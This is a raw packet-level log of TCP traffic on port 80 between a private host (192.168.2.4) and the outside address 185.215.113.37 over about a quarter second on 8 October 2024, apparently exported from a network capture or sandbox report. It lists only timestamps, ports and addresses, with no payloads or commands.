Oct 8, 2024 08:22:06.951822996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.951873064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.951904058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.951914072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.951929092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.951941967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.951953888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.951987028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.952016115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.952023983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.952033997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.952049017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.952058077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.952065945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.952092886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.952131033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.952681065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.952696085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.952711105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.952763081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.952770948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.952785969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.952788115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.952789068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.952800989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.952815056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.952853918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.952992916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.953012943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.953037024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.953051090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.953052044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.953072071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.953078032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.953099012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.953099966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.953156948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.953671932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.953689098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.953708887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.953725100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.953742027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.953748941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.953764915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.953778982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.953799963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.953835964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.953840971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.953852892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.953874111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.953886032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.953891039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.953907013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.953911066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.953931093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.953944921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.953950882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.953989029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.954014063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.954468012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.954508066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.954524994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.954524994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.954566956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.954595089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.954606056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.954621077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.954639912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.954662085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.954663038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.954683065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.954713106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.954721928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.954730034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.954750061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.954766035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.954766035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.954786062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.954787970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.954807043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.954828024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.954863071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.955432892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.955497026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.955589056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.955652952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.037813902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.037916899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.037935019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.037950039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.037966013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.037981033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.037995100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.038011074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.038024902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.038039923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.038086891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.038088083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.038088083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.038088083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.074448109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.074471951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.074496984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.074512005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.074537039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.074552059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.074568033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.074583054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.074598074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.074625969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.074625015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.074641943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.074656010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.074665070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.074671030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.074681044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.074692011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.074692965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.074732065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.074884892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.074937105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.074978113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.075006962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.075037003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.075068951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.075077057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.075086117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.075102091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.075122118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.075155020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.075177908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.075227976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.075263023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.075272083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.075287104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.075311899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.075314999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.075329065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.075335026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.075380087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.075423002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.075432062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.075448036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.075457096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.075481892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.075520992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.075551987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.075702906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.075721025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.075731039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.075756073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.075786114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.075793028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.075803995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.075817108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.075829029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.075844049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.075877905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.075916052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.075926065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.075939894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.075948954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.075959921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.075974941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.075975895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.075995922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.076024055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.076392889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.076404095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.076423883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.076456070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.076487064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.076495886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.076498032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.076500893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.076550961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.076586962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.076596022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.076611996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.076621056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.076637030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.076639891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.076648951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.076663017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.076678991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.076703072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.076787949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.076797009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.076811075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.076819897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.076833010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.076842070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.076845884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.076857090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.076864958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.076865911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.076895952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.076896906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.076921940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.076951981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.079632044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.079649925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.079658031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.079695940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.079705000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.079724073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.079741001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.079750061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.079763889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.079767942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.079798937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.079819918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.079838037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.079847097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.079893112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.079910040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.079919100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.079931974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.079951048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.079966068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.079967976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.080022097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.080030918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.080048084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.080049038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.080079079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.080079079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.080115080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.080423117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.080431938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.080446005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.080455065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.080492020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.080522060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.080533981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.080585003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.080588102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.080600023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.080611944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.080640078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.080670118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.080677986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.080688953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.080701113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.080710888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.080724955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.080727100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.080780983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.080941916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.080951929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.081008911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.081016064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.081023932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.081060886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.081090927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.081096888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.081108093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.081121922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.081130981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.081155062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.081163883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.081177950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.081187010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.081193924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.081202030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.081211090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.081212997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.081267118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.125147104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.125164032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.125180006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.125189066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.125202894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.125215054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.125422001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.125422955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.162108898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.162125111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.162142992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.162151098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.162166119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.162178993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.162192106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.162231922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.162241936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.162254095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.162266970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.162328959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.162329912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.162329912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.162329912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.162345886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.162357092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.162372112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.162384987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.162398100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.162410021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.162412882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.162425995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.162435055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.162458897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.162482977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.162492990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.162499905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.162508011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.162517071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.162528038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.162532091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.162537098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.162563086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.162571907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.162579060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.162625074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.162679911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.162689924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.162704945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.162714005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.162725925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.162738085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.162740946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.162755013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.162760019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.162779093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.162787914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.162803888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.162811995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.162817001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.162863016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.162877083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.162885904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.162900925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.162911892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.162935019 CEST	49730	80	192.168.2.4	185.215.113.37
